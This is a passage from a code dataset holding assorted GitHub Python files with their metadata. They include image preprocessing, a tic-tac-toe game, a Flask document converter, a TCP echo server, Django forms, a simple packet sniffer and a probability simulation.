Using PCA to find 2 main principal components in which the first one is corresponding to the main vein.\n Rotating the image until the first component is horizontal.\n\n Parameters\n ----------\n mask: numpy.ndarray\n Binary mask and contour \n \n Returns\n -------\n cor_center: numpy.ndarray\n coordinate of a center point in xy axis\n angle: numpy.float64\n The angle used to rotate the image\n eigenvectors: numpy.ndarray\n a special set of vectors associated with two principal components\n \"\"\" \n leaf_indices = np.argwhere(mask > 0).astype(np.float32)\n mean = np.mean(leaf_indices, axis=0)\n center, eigenvectors = cv2.PCACompute(leaf_indices, mean=np.asarray([mean]))\n angle = np.arctan(eigenvectors[0,0]/eigenvectors[0,1]) \n angle = angle * 180.0/np.pi \n cor_center = center[0,::-1]\n return cor_center, angle, eigenvectors\n\n\n\n def rotate_img(self, img):\n \"\"\"\n Rotate image\n\n Parameters\n ----------\n img: numpy.ndarray\n A RGB image\n \n Returns\n -------\n rotated_img: numpy.ndarray\n Image after preprocessing\n \"\"\"\n\n ## get rotate angle\n gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n mask = self.get_binary_mask(gray)\n if False:\n resized = cv2.resize(mask, (300,300))\n gray[mask < 1] = 0\n _, angle, _ = self.get_rotation_angle(mask)\n\n ## padding image that prevents leaves from cut out while rotating\n pad_size = int(0.5*max(img.shape[:2]))\n pad_img = cv2.copyMakeBorder(img,pad_size,pad_size,\n pad_size,pad_size,\n cv2.BORDER_CONSTANT,\n value=[255,255,255])\n ## rotate\n height, width = pad_img.shape[:2]\n # rotation_matrix = cv2.getRotationMatrix2D(tuple(center +np.asarray([pad_size,pad_size])) , angle, 1) # get Rotation Matrix\n rotation_matrix = cv2.getRotationMatrix2D((height//2, width//2) , angle, 1) # get Rotation Matrix\n rotated_img = cv2.warpAffine(pad_img, rotation_matrix, (width, height), borderValue=(255, 255, 255))\n \n ## crop the leave patch and pad to square size\n rotated_img = self.pad_image_to_square(self.crop_and_flip_image(rotated_img))\n\n return rotated_img\n\n \n\n\n ","repo_name":"Tayerquach/Leave_Classfication","sub_path":"src/data/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":6697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"23363888640","text":"import cv2\nimport os\nimport math\nINPUT_VIDEO = \"/Users/abdallaelshikh/Desktop/MIA/Coral-Detection/Dataset/IMG_6144.MOV\"\nOUTPUT_PATH = \"/Users/abdallaelshikh/Desktop/MIA/Coral-Detection/Dataset/pink images\"\nos.makedirs(OUTPUT_PATH, exist_ok=True)\nSAVE_FPS_RATE = 0.75\n\nvidcap = cv2.VideoCapture(INPUT_VIDEO)\nsuccess,image = vidcap.read()\nimage_num = 3059\nfps = int(vidcap.get(cv2.CAP_PROP_FPS)*SAVE_FPS_RATE)\nwhile success:\n if image_num%(fps) == 0 :\n cv2.imwrite(OUTPUT_PATH + \"/image%04i.jpg\" %image_num, image)\n print(\"Saving image: \" + OUTPUT_PATH + \"/image%04i.jpg\" %image_num)\n success,image = vidcap.read()\n image_num += 1\n\nvidcap.release()\n","repo_name":"abdullahsalah96/Traffic-Semantic-Segmentation","sub_path":"video_to_images.py","file_name":"video_to_images.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73650646864","text":"from text_to_voice import tts\nfrom Assistant import Assistant\nfrom voice_to_text import myListener as vtt\n\ncout = 0\nwhile True:\n if cout == 0:\n tts(\"Hello Mr. Dipesh! , how can I help you?\")\n cout = cout+1\n else:\n command = vtt()\n Assistant.assistant(command)\n\n","repo_name":"Dipeshpal/Jarvis","sub_path":"Jarvis.py","file_name":"Jarvis.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"21357541241","text":"def main ():\n current_player = \"X\"\n numlist = create_num()\n\n while winner(numlist) != True :\n board(numlist)\n move(current_player, numlist)\n current_player = next_player(current_player)\n board(numlist)\n print(f\"PLAYER {next_player(current_player)} WINS\") \n print(f\"Good game. Thanks for playing!\") \n\n\ndef create_num():\n digits = []\n for num in range(9):\n digits.append(num+1)\n return digits\n\ndef board(num):\n print()\n print(f\"{num[0]}|{num[1]}|{num[2]}\")\n print('-+-+-')\n print(f\"{num[3]}|{num[4]}|{num[5]}\")\n print('-+-+-')\n print(f\"{num[6]}|{num[7]}|{num[8]}\")\n print()\n\ndef next_player(current):\n if current == \"O\":\n return \"X\"\n elif current == \"X\":\n return \"O\"\n\ndef move(player, digits):\n desired_move = int(input(f\"{player}'s turn to choose a square (1-9): \"))\n digits[desired_move - 1] = player\n\ndef winner(num):\n return (num[0] == num[1] == num[2] or\n num[3] == num[4] == num[5] or\n num[6] == num[7] == num[8] or\n num[0] == num[3] == num[6] or\n num[1] == num[4] == num[7] or\n num[2] == num[5] == num[8] or\n num[0] == num[4] == num[8] or\n num[2] == num[4] == num[6])\n\nif __name__ == \"__main__\":\n main()","repo_name":"niels012/myfirstgithub","sub_path":"tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39127909948","text":"from flask import Flask, request, send_file\r\nfrom pdf2docx import parse\r\nfrom docx2pdf import convert\r\napp = Flask(__name__)\r\n\r\n@app.route('/convert_pdf', methods=['POST'])\r\n\r\ndef convert_pdf():\r\n file = request.files['pdf']\r\n file.save('input.pdf')\r\n\r\n parse(str('input.pdf'), str('output.docx'))\r\n\r\n return send_file(str(f'output.docx'),)\r\n\r\n@app.route('/convert_docx', methods=['POST'])\r\n\r\ndef convert_docx():\r\n file = request.files['docx']\r\n file.save('input.docx')\r\n\r\n convert(str('input.docx'), str('output.pdf'))\r\n\r\n return send_file(str('output.pdf'))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app.run(port = 1000)\r\n","repo_name":"CHARANKUMAR2002/document_converter_api","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13946230780","text":"from socket import *\n\nserverPort = 12000\n#sock_stream indicates a tcp connection\nserverSocket = socket(AF_INET, SOCK_STREAM)\nserverSocket.bind((\"\", serverPort))\n#with this line it says that can accept 1 client, the others will be put in queue, and the last client will be refused\nserverSocket.listen(3)\nprint(\"server is ready to receive data\")\n\nwhile 1: #infinite loop that listens for any response\n (connectionSocket, clientAddress) = serverSocket.accept()\n print(\"connected to: \", clientAddress)\n\n while True:\n #1024 are the bytes that the server is available to receive, and TCP doesn't include the address too\n sentence = connectionSocket.recv(1024)\n sentence = sentence.decode(\"utf-8\").upper().encode(\"utf-8\") #formatting received data\n\n connectionSocket.send(sentence)\n\n connectionSocket.close()","repo_name":"SimonGiampy/InternetAndNetworkingPython","sub_path":"Third-Lab/serverTCP-Persistent.py","file_name":"serverTCP-Persistent.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26465719430","text":"import vlc\nimport time\n\nsounds = list()\nsounds.append(\"output.avi\")\n\nvlc_instance = vlc.Instance()\nplayer = vlc_instance.media_player_new()\n\ndef play_sound(arg):\n media = vlc_instance.media_new(sounds[arg])\n player.set_media(media)\n player.play()\n time.sleep(1)\n duration = player.get_length() / 1000\n print(duration)\n time.sleep(duration)\n\nplay_sound(0)\n","repo_name":"nikitawow1337/Presence-detection","sub_path":"examples/example3.py","file_name":"example3.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71127043667","text":"class Solution:\n def findWords(self, board: List[List[str]], words: List[str]) -> List[str]:\n self.dict, m, n, self.curr_word, self.res, self.dirs, self.seen = {}, len(board), len(board[0]), \"\", set(), ((-1, 0), (1, 0), (0, -1), (0, 1)), set()\n for w in words:\n curr = self.dict\n for c in w+\"*\":\n if c not in curr: curr[c] = {}\n curr = curr[c]\n def start_at_loc(i, j, dict_curr):\n if \"*\" in dict_curr: \n self.res.add(self.curr_word)\n del dict_curr[\"*\"]\n if i < 0 or i >= m or j < 0 or j >= n or (i, j) in self.seen: return\n if board[i][j] in dict_curr: \n dict_next, self.curr_word = dict_curr[board[i][j]], self.curr_word + board[i][j]\n self.seen.add((i, j))\n for di, dj in self.dirs: start_at_loc(i+di, j+dj, dict_next)\n self.seen.remove((i, j))\n self.curr_word = self.curr_word[:-1]\n if len(dict_next) == 0: del dict_curr[board[i][j]]\n for i in range(m):\n for j in range(n): start_at_loc(i, j, self.dict)\n return self.res\n","repo_name":"cedricwangyu/LC","sub_path":"212-Word_Search_II.py","file_name":"212-Word_Search_II.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"6560862681","text":"from django import forms\nfrom cars.models import Brand, Car\nimport datetime\n\n\nclass CarModelForm(forms.ModelForm):\n class Meta:\n model = Car\n fields = '__all__'\n\n def clean_value(self):\n value = self.cleaned_data.get('value')\n if(value < 20000):\n self.add_error('value', 'O valor mínimo do carro deve ser R$20.000,00')\n return value\n \n def clean_factory_year(self):\n factory_year = self.cleaned_data.get('factory_year')\n current_year = today = datetime.date.today().year\n\n if((current_year - factory_year) > 50):\n self.add_error(\n 'factory_year', f'O carro não pode ter mais de 50 anos (Ano Fabricação < {current_year - 50})')\n return factory_year\n\n","repo_name":"willamylp/cars-pycodebr","sub_path":"cars/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19332425994","text":"import pytest\n\nfrom solutions.min_max_division import *\n\ninput_list = [\n [[3, 5, [2, 1, 5, 1, 2, 2, 2]], 6],\n [[3, 1, [1, 1, 1, 1, 1, 1, 1, 1, 1]], 3],\n [[3, 1, [1, 1, 1, 1, 1, 1, 1, 1, 1, 1]], 4],\n [[1, 0, [0]], 0],\n [[1, 5, [4]], 4]\n]\n\n@pytest.mark.timeout(1)\n@pytest.mark.parametrize(\"test_input, expected \", input_list)\ndef test_solution(test_input, expected):\n result = solution(*test_input)\n\n assert result == expected\n assert type(result) == type(expected)\n\ndef test_binary_search():\n assert 2 == binary_search(0, 6, [1, 2, 3, 4, 5, 6], 3)\n assert 1 == binary_search(0, 7, [2, 3, 8, 9, 11, 13, 15], 5)\n assert 1 == binary_search(0, 5, [1, 2, 4, 5, 6], 3)\n assert 5 == binary_search(0, 5, [1, 2, 4, 5, 6], 100)\n","repo_name":"dbgsprw/python-competitive-programming","sub_path":"tests/test_min_max_division.py","file_name":"test_min_max_division.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23786207807","text":"#!/usr/bin/python3\n\nimport struct\nimport socket\nfrom Packages.Protocols import Protocol, Ethernet\n\n\ndef main():\n # create a socket connection to listen for packets\n conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))\n #socket.ntohs(0x0003) tells capture everything including ethernet frames. To capture TCP, UDP, or ICMP only\n try:\n while True:\n # continuously receive/listen for data\n raw_data, _ = conn.recvfrom(65536)\n\n # create a new Ethernet instance with the raw_data captured\n eth = Ethernet(raw_data)\n dest_mac, src_mac, eth_protocol = eth.frame() # gather the frame details\n\n # print the ethernet header info\n print(f'\\n---> Ethernet Frame Destination Mac: {dest_mac}, Source Mac: {src_mac}, Type: {eth_protocol} <---')\n\n # create a protocol instance with the captured ethernet data\n proto = Protocol(eth)\n # call the ethernet type object based on the protocol type\n obj = proto.ETH_TYPE[eth_protocol]\n obj()\n print(\"\")\n except ValueError as E:\n pass\n except KeyboardInterrupt:\n print(\"\\n[END] STOPPED SNIFFING!\")\n return\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Jadhusan-S/Python3-Sniffer-Utility","sub_path":"sniffer.py","file_name":"sniffer.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"48"} +{"seq_id":"8014592543","text":"from typing import List\n\nfrom core.response import ErrorType, FieldError\n\n\ndef validate_name(name: str) -> FieldError:\n \"\"\"\n Field 'name':\n - required\n - string\n - min 3 characters\n - max 32 characters\n \"\"\"\n if not name:\n return FieldError(\n field=\"name\", type=ErrorType.REQUIRED, message=\"Name is required\"\n )\n\n if not isinstance(name, str):\n return FieldError(\n field=\"name\", type=ErrorType.INVALID, message=\"Name must be a string\"\n )\n\n if not (3 <= len(name) <= 32):\n return FieldError(\n field=\"name\",\n type=ErrorType.INVALID,\n message=\"Name has a invalid length. Try between 3 and 128 characters\",\n )\n\n\ndef validate_board_id(board_id: int) -> FieldError:\n \"\"\"\n Field 'board_id'\n - integer\n - required\n \"\"\"\n if not board_id:\n return FieldError(\n field=\"board_id\", type=ErrorType.INVALID, message=\"Board ID is required\"\n )\n\n if not isinstance(board_id, int):\n return FieldError(\n field=\"board_id\",\n type=ErrorType.INVALID,\n message=\"Board ID must be a integer\",\n )\n","repo_name":"felipeflamarion/clean-arch","sub_path":"todolist/board_column/validations.py","file_name":"validations.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38223429671","text":"import numpy as np\nfrom robuststats.estimation.covariance import TylerShapeMatrix, get_normalisation_function\nfrom scipy.stats import multivariate_normal\nfrom robuststats.utils.linalg import ToeplitzMatrix, invsqrtm\n\nimport matplotlib.pyplot as plt\n\n\n\nif __name__ == \"__main__\":\n n_features = 100\n n_samples = 10000\n S = get_normalisation_function(\"determinant\")\n covariance = ToeplitzMatrix(0.95, n_features, dtype=float)\n covariance = covariance / S(covariance)\n\n print(\"Generating data\")\n X = multivariate_normal.rvs(cov=covariance, size=n_samples)\n\n # Estimating using fixed-point Tyler's shape matrix estimator\n print(\"Estimating using fixed point Tyler's shape matrix estimator\")\n estimator = TylerShapeMatrix(normalisation=\"determinant\", verbosity=True)\n estimator.fit(X)\n Q_fp = estimator.covariance_\n\n\n # Estimating using natural gradient Tyler's shape matrix estimator\n print(\"Estimating using natural gradient Tyler's shape matrix estimator\")\n estimator = TylerShapeMatrix(method=\"natural gradient\",\n normalisation=\"determinant\", verbosity=True)\n estimator.fit(X)\n Qopt = estimator.covariance_\n\n print(\"Saving plots to Tyler_gradient_estimation.png\")\n fig, axes = plt.subplots(1, 3, figsize=(26, 9))\n im = axes[0].imshow(covariance, aspect='auto')\n axes[0].set_title(\"True Covariance\")\n fig.colorbar(im, ax=axes[0])\n\n im = axes[1].imshow(Q_fp, aspect='auto')\n axes[1].set_title(f\"Estimated Covariance with Fixed point $N={n_samples}$\")\n fig.colorbar(im, ax=axes[1])\n\n im = axes[2].imshow(Qopt, aspect='auto')\n axes[2].set_title(f\"Estimated Covariance with gradient descent $N={n_samples}$\")\n fig.colorbar(im, ax=axes[2])\n # plt.show()\n plt.savefig(\"./results/Tyler_gradient_estimation.png\")\n","repo_name":"AmmarMian/robuststats","sub_path":"examples/numerical/estimation/covariance/old/natural_gradient_tyler.py","file_name":"natural_gradient_tyler.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"31365183207","text":"import os\n\nfrom pathlib import Path\nfrom typing import Union, Literal\n\n\nclass Parser:\n\n def __init__(self, name: str = \"training_cloth_segm_u2net\", dataset_folder: Union[str, Path] = \"_dataset\",\n device: str = \"cpu\", continue_train: bool = False, is_train: bool = True,\n checkpoints_path: Union[str, Path] = \"_prev_checkpoints/cloth_segm_unet_surgery.pth\"):\n\n if device not in ['cpu', \"gpu\", \"cuda\"]:\n raise ValueError(\"invalid device passed\")\n\n self.name = name # Experiment name\n self.image_folder = f\"{dataset_folder}/train/\" # image folder path\n self.df_path = f\"{dataset_folder}/train.csv\" # label csv path\n self.distributed = False if device == \"cpu\" else True # True for multi gpu training\n\n self.is_train = is_train\n self.continue_train = continue_train\n\n # base width of trained files\n self.fine_width = 192 * 4\n self.fine_height = 192 * 4\n\n # Mean std params\n self.mean = 0.5\n self.std = 0.5\n\n self.batchSize = 2 # 12\n self.nThreads = 2 # 3\n self.max_dataset_size = float(\"inf\")\n\n self.serial_batches = False\n if continue_train:\n self.unet_checkpoint = checkpoints_path\n\n self.save_freq = 1000\n self.print_freq = 10\n self.image_log_freq = 100\n\n self.iter = 100000\n self.lr = 0.0002\n self.clip_grad = 5\n\n self.logs_dir = os.path.join(\"_logs\", self.name)\n self.save_dir = os.path.join(\"_results\", self.name)\n","repo_name":"Lord-Psarris/cloth-segmentation","sub_path":"options/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71201594386","text":"import sys\nimport folium\nimport requests\nimport pandas as pd\nfrom sqlalchemy import create_engine\nfrom folium.plugins import MiniMap\n\nfrom google.cloud import storage\nimport os\n\ndef upload_to_bucket(bucket_name, source_file_name, destination_blob_name):\n \"\"\"Sube un archivo al bucket de Google Cloud Storage.\"\"\"\n storage_client = storage.Client()\n bucket = storage_client.bucket(bucket_name)\n blob = bucket.blob(destination_blob_name)\n\n blob.upload_from_filename(source_file_name)\n\n return blob.public_url\n\n# Conectarse a la base de datos usando SQLAlchemy\nengine = create_engine(\"mysql+mysqlconnector://instancia:123456@34.172.98.144/geomotica\")\nid_analisis = sys.argv[1]\ntabla = sys.argv[2]\n\n# Consulta SQL para obtener datos\nquery = f\"\"\"SELECT LONGITUD, LATITUD, CULTIVO, NOMBRE_FINCA, ACTIVIDAD,\n FECHA_INICIO, HORA_INICIO, HORA_FINAL\n FROM {tabla} WHERE ID_ANALISIS = {id_analisis};\"\"\"\n\ndf = pd.read_sql(query, engine, params={\"id_analisis\": id_analisis})\n\n# Crear mapa centrado en la primera coordenada con opción de satélite\ntiles_option = \"https://server.arcgisonline.com/ArcGIS/rest/services/World_Imagery/MapServer/tile/{z}/{y}/{x}\"\nattribution = \"Tiles © Esri — Source: Esri, i-cubed, USDA, USGS, AEX, GeoEye, Getmapping, Aerogrid, IGN, IGP, UPR-EGP, and the GIS User Community\"\n\nm = folium.Map(location=[df['LATITUD'].iloc[0], df['LONGITUD'].iloc[0]], zoom_start=15, tiles=tiles_option, attr=attribution)\n\n# Añadir trazado de puntos\nlocations = df[['LATITUD', 'LONGITUD']].values\nfolium.PolyLine(locations, color=\"blue\", weight=2.5).add_to(m)\n\n# Añadir popup a cada punto con información relevante\nfor _, row in df.iterrows():\n popup_content = f\"\"\"\n Cultivo: {row['CULTIVO']}
    \n Finca: {row['NOMBRE_FINCA']}
    \n Actividad: {row['ACTIVIDAD']}
    \n Fecha: {row['FECHA_INICIO']}
    \n Horario: {row['HORA_INICIO']} - {row['HORA_FINAL']}\n \"\"\"\n folium.CircleMarker((row['LATITUD'], row['LONGITUD']), radius=5, color=\"blue\").add_child(folium.Popup(popup_content)).add_to(m)\n\n# Añadir controles de capas\nfolium.LayerControl().add_to(m)\n\n# Añadir minimapa\nminimap = MiniMap()\nm.add_child(minimap)\n\n# Guardar el mapa como archivo HTML temporal\nnombre_archivo_temp = f\"/tmp/mapa_{id_analisis}.html\"\nm.save(nombre_archivo_temp)\n\n# Nombre del bucket y del archivo en el bucket\nnombre_bucket = \"geomotica_mapeo\"\nnombre_archivo_bucket = f\"mapas/mapa_{id_analisis}.html\"\n\n# Subir el archivo al bucket de Google Cloud Storage\nurl_archivo = upload_to_bucket(nombre_bucket, nombre_archivo_temp, nombre_archivo_bucket)\napi_url = \"http://localhost:3001/socket/reciveMap\" # Reemplaza con tu URL del servidor\ndata = {'htmlContent': url_archivo}\nresponse = requests.post(api_url, json=data)\nrequests.post(\"http://localhost:3001/socket/loadingAnalysis\", data={\"progress\": 75})\nprint(f\"Mapa subido con éxito a {url_archivo}\")\n\n# Eliminar el archivo temporal\nos.remove(nombre_archivo_temp)\nprint(f\"Archivo temporal eliminado: {nombre_archivo_temp}\")\n","repo_name":"Haricode-Develop/Backend-Geomotica","sub_path":"Procesos Background/mapeo.py","file_name":"mapeo.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8847865707","text":"#!/usr/bin/python\nimport vtk\nfrom vtk_visualizer.pointobject import *\n\n\nclass PointCloud:\n\n def __init__(self):\n # Renderer\n self.renderer = vtk.vtkRenderer()\n self.renderer.SetBackground(.2, .3, .4)\n self.renderer.ResetCamera()\n\n self.renderWindow = vtk.vtkRenderWindow()\n self.iren = vtk.vtkRenderWindowInteractor()\n # Render Window\n self.renderWindow.AddRenderer(self.renderer)\n # Interactor\n self.iren.SetRenderWindow(self.renderWindow)\n # Interactor style\n style = vtk.vtkInteractorStyleTrackballCamera()\n self.iren.SetInteractorStyle(style)\n\n self.pointObjects = []\n self.p = []\n self.c = []\n def addPoints(self, points, colors):\n if len(points) > 0:\n self.p.append(points)\n self.c.append(colors)\n\n def addPointsAktor(self, points, colors):\n if len(points) > 0:\n obj = VTKObject()\n obj.CreateFromArray(points)\n if colors.dtype == np.float32:\n colors*=255.\n obj.AddColors(colors.astype(np.uint8))\n self.pointObjects.append(obj)\n self.renderer.AddActor(obj.GetActor())\n\n def addSlider(self, callback):\n SliderWidget = vtk.vtkSliderWidget()\n SliderWidget.SetInteractor(self.iren)\n# SliderWidget.SetRepresentation(SliderRepres)\n SliderWidget.KeyPressActivationOff()\n SliderWidget.SetAnimationModeToAnimate()\n SliderWidget.SetEnabled(True)\n SliderWidget.AddObserver(\"EndInteractionEvent\", callback)\n self.SliderWidget = SliderWidget\n\n def getSliderValue(self, obj):\n sliderRepres = obj.GetRepresentation()\n return sliderRepres.GetValue()\n\n def removeActors(self):\n for a in self.pointObjects:\n self.renderer.RemoveActor(a.GetActor())\n self.c = []\n self.p = []\n self.pointObjects = []\n\n def addActors(self):\n self.addPointsAktor(np.concatenate(self.p),np.concatenate(self.c))\n\n def run(self, enable_axes = False):\n\n self.addActors()\n\n transform = vtk.vtkTransform()\n transform.Translate(1.0, 0.0, 0.0)\n\n axes = vtk.vtkAxesActor()\n # The axes are positioned with a user transform\n# axes.SetUserTransform(transform)\n if enable_axes:\n self.renderer.AddActor(axes)\n\n # renderer.AddActor(pointCloud.vtkActor)\n # Begin Interaction\n self.renderWindow.Render()\n self.iren.Start()\n","repo_name":"stawel/2piR-3d-scanner","sub_path":"pi2R/point_cloud.py","file_name":"point_cloud.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5769661117","text":"#!/usr/bin/env python\nimport os\nimport os.path\nimport shutil\nfrom configparser import ConfigParser\n\nsuffixes = {\n 'C': 'CGB',\n 'S': 'SGB',\n 'A': 'AGB',\n 'mgb': 'MGB',\n 'sgb': 'SGB',\n 'sgb2': 'SGB2',\n 'cgb': 'CGB',\n 'agb': 'AGB',\n 'ags': 'AGB',\n}\n\ndef ingestDirectory(path, dest):\n for root, _, files in os.walk(path, topdown=False):\n root = root[len(os.path.commonprefix([root, path])):]\n if root.startswith('utils'):\n continue\n for file in files:\n fname, ext = os.path.splitext(file)\n if ext not in ('.gb', '.sym'):\n continue\n\n try:\n os.makedirs(os.path.join(dest, root, fname))\n except OSError:\n pass\n\n if ext in ('.gb', '.sym'):\n shutil.copy(os.path.join(path, root, file), os.path.join(dest, root, fname, 'test' + ext))\n\n for suffix, model in suffixes.items():\n if fname.endswith('-' + suffix):\n manifest = ConfigParser()\n try:\n with open(os.path.join(dest, root, fname, 'config.ini'), 'r') as f:\n manifest.read_file(f)\n except IOError:\n pass\n manifest.set('ports.cinema', 'gb.model', model)\n with open(os.path.join(dest, root, fname, 'config.ini'), 'w') as f:\n manifest.write(f, space_around_delimiters=False)\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser(description='Update mooneye-gb test suite')\n parser.add_argument('source', type=str, help='directory containing built tests')\n parser.add_argument('dest', type=str, nargs='?', default=os.path.dirname(__file__), help='directory to contain ingested tests')\n args = parser.parse_args()\n\n ingestDirectory(args.source, args.dest)\n","repo_name":"mgba-emu/mgba","sub_path":"cinema/gb/mooneye-gb/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","stars":4880,"dataset":"github-code","pt":"48"} +{"seq_id":"14524327985","text":"import re\nimport iso8601\n\n\ndef parse_interval(interval):\n answer = {\"status\": 0}\n\n if not re.match(r\"[0-9]?[0-9]:[0-9]?[0-9]-[0-9]?[0-9]:[0-9]?[0-9]\", interval):\n answer[\"status\"] = 1\n return answer\n\n parts = interval.split(\"-\")\n\n start = int(parts[0].split(\":\")[0]) * 3600 + int(parts[0].split(\":\")[1]) * 60\n end = int(parts[1].split(\":\")[0]) * 3600 + int(parts[1].split(\":\")[1]) * 60\n\n if end - start < 0:\n answer[\"status\"] = 1\n return answer\n\n answer[\"start\"] = start\n answer[\"end\"] = end\n\n return answer\n\n\ndef get_interval_values(interval):\n res = parse_interval(interval)\n\n return res[\"start\"], res[\"end\"]\n\n\ndef compatible(weight, courier_type):\n max_weights = {\n \"foot\": 10,\n \"bike\": 15,\n \"car\": 50\n }\n\n if weight > max_weights[courier_type]:\n return False\n\n return True\n\n\ndef withdraw(courier_type):\n coefficients = {\n \"foot\": 2,\n \"bike\": 5,\n \"car\": 9\n }\n\n return 500 * coefficients[courier_type]\n\n\ndef hours_intersection_check(left_hours, right_hours):\n intervals1 = [get_interval_values(tmp) for tmp in left_hours]\n intervals2 = [get_interval_values(tmp) for tmp in right_hours]\n\n for a in intervals1:\n for b in intervals2:\n if max(0, min(a[1], b[1]) - max(a[0], b[0])):\n return True\n\n return False\n\n\ndef get_date_object(date_string):\n return iso8601.parse_date(date_string)\n\n\ndef get_date_string(date_object):\n return ('%04d-%02d-%02dT%02d:%02d:%02d.%02d%s' %\n (date_object.year, date_object.month,\n date_object.day, date_object.hour, date_object.minute,\n date_object.second, date_object.microsecond / 1000, \"Z\"))\n","repo_name":"nooblose/CandyDeliveryApp","sub_path":"app/main/util/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29208744712","text":"# Importing required methods\r\nimport random\r\nimport copy\r\n# Creating the class method\r\nclass Hat:\r\n def __init__(self,**kwargs):\r\n self.contents = []\r\n # Appending the keys into the content list\r\n for key,value in kwargs.items():\r\n self.contents.extend([key]*value)\r\n def draw(self,num): # num-->number of balls to draw from the hat\r\n result_lst = []\r\n if num > len(self.contents):\r\n return self.contents\r\n else:\r\n for probable in range(num):\r\n result = random.choice(self.contents)\r\n result_lst.append(result)\r\n self.contents.remove(result)\r\n return result_lst\r\n# Creating experiment function\r\ndef experiment(hat,expected_balls,num_balls_drawn,num_experiments):\r\n m = 0 # For successes count\r\n for i in range(num_experiments):\r\n answer = dict()\r\n constant = 0 # To determine if all the keysvalue are from answer > keyvalues of expected_balls\r\n our_hat = copy.deepcopy(hat) # Copying values drawn from the hat\r\n ball_drawn = our_hat.draw(num_balls_drawn) # Balls drawn at random\r\n for i in ball_drawn:\r\n if i not in answer:\r\n answer[i] = 1\r\n else:\r\n answer[i] += 1\r\n for i,j in expected_balls.items():\r\n answer[i] = answer.get(i,0)\r\n if answer[i] >= j:\r\n constant += (1/len(expected_balls))\r\n if constant == 1:\r\n m += 1\r\n return (m/num_experiments)\r\nhat = Hat(blue=4,red=2,green=6)\r\nprint(experiment(hat=hat, expected_balls={\"blue\":2,\"red\":1},num_balls_drawn=4,num_experiments=2000))\r\n","repo_name":"Abewankenobi/Free-code-camp-Probability-calculator","sub_path":"FCC Probalility Calculator.py","file_name":"FCC Probalility Calculator.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74113360146","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('ox_web', '0011_job_active'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='job',\n name='executed_at',\n field=models.DateTimeField(default=django.utils.timezone.now),\n ),\n ]\n","repo_name":"benwalcutt/ox_web_project","sub_path":"ox_web_project/ox_web/migrations/0012_job_executed_at.py","file_name":"0012_job_executed_at.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73151258387","text":"import xml.etree.ElementTree as etree\nimport json\nimport os\nimport numpy as np\nimport pdb\n\nfrom glob import glob\nfrom __init__ import data_folder, data_json_path\nfrom datetime import datetime\n\n\ndef extract_xml_data(xml_path, cases_folder, label_id):\n with open(xml_path) as fin:\n content = fin.read()\n tree = etree.fromstring(content)\n\n dataset = []\n for elem in tree.findall('WRITING'):\n text = elem.find('TITLE').text + elem.find('TEXT').text\n dataset.append({\n \"text\": text.strip(),\n \"date\": elem.find('DATE').text.strip(),\n \"info\": elem.find('INFO').text.strip(),\n \"source\": cases_folder,\n \"label\": label_id\n })\n return dataset\n\ndef main():\n dataset = {}\n cases_folders = [\"2017_cases\", \"2018_cases\"]\n for cases_folder 